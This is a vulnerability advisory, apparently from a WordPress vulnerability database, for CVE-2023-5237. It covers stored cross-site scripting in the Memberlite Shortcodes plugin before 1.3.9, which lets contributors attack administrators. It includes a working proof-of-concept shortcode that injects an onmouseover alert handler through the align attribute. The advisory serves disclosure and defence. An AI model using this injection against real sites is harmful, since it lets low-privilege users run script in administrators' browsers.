Memberlite Shortcodes < 1.3.9 – Contributor+ Stored XSS via Shortcode | CVE 2023-5237 | Plugin Vulnerabilities

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin.

Proof of Concept

[memberlite_banner align='" onmouseover="alert(/XSS/)"' background="primary" title="Primary Banner"]
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla ultrices, nibh et iaculis lobortis, leo orci efficitur libero, non pharetra libero sem non lectus. Integer sit amet leo vel quam elementum scelerisque vel ac arcu. 
[/memberlite_banner]

Affects Plugins

memberlite-shortcodes

Fixed in 1.3.9

References

CVE

URL

https://research.cleantalk.org/cve-2023-5237-memberlite-shortcodes-stored-xss-via-shortcode

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dmitrii Ignatyev

Submitter

Dmitrii Ignatyev

Submitter website

https://blog.cleantalk.org

Verified

Yes

WPVDB ID

a46d686c-6234-4aa8-a656-00a65c55d0b0

Timeline

Publicly Published

2023-10-09 (about 2 years ago)

Added

2023-10-09 (about 2 years ago)

Last Updated

2023-10-11 (about 2 years ago)

Other

Published

Title

Published

2015-04-20

Title

Google Analytics by Yoast < 5.4 - Unauthenticated Cross-Site Scripting (XSS)

Published

2024-09-12

Title

Neighborly <= 1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Shortcode

Published

2018-08-10

Title

Ultimate Member < 2.0.22 - Authenticated Cross-Site Scripting (XSS)

Published

2024-06-07

Title

Cards for Beaver Builder < 1.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Cards Widget

Published

2022-01-26

Title

StatCounter < 2.0.7 - Admin+ Stored Cross-Site Scripting